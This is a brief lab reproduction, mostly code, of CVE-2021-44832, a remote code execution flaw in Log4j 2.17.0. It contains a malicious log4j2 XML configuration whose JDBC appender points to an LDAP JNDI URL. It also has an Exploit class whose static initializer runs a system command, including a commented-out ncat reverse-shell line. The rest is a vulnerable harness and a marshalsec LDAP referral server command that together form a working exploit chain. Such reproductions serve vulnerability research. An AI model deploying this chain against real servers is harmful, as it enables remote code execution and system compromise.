Log4j_2.17.0_RCE复现-CVE-2021-44832

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
    <Appenders>
        <JDBC name="databaseAppender" tableName="dbo.application_log">
            <DataSource jndiName="ldap://127.0.0.1:1389/Exploit" />
            <Column name="eventDate" isEventTimestamp="true" />
            <Column name="level" pattern="%level" />
            <Column name="logger" pattern="%logger" />
            <Column name="message" pattern="%message" />
            <Column name="exception" pattern="%ex{full}" />
        </JDBC>
    </Appenders>
    <Loggers>
        <Root level="warn">
            <AppenderRef ref="databaseAppender"/>
        </Root>
    </Loggers>
</Configuration>

public class Exploit{
    static{
        System.err.println("Pwned");
        try{
            //            String[] cmd = {"ncat", "-e", "/bin/bash", "", "1234"};
            String[] cmd = {"open", "-a", "/System/Applications/Calculator.app"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        }catch(Exception e){
            e.printStackTrace();
        }
    }

 import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.util.*;
public class log4j {
    public static void main(String[] args) {
        System.setProperty("log4j2.configurationFile", "http://127.0.0.1:8888/config.xml");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        final Logger logger = LogManager.getLogger(log4j.class);
        Scanner sc = new Scanner(System.in);
        String str;
        while(true){
            str = sc.nextLine();
            logger.error(str);
        }
    }
}

java -cp marshalsec-0.0.-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"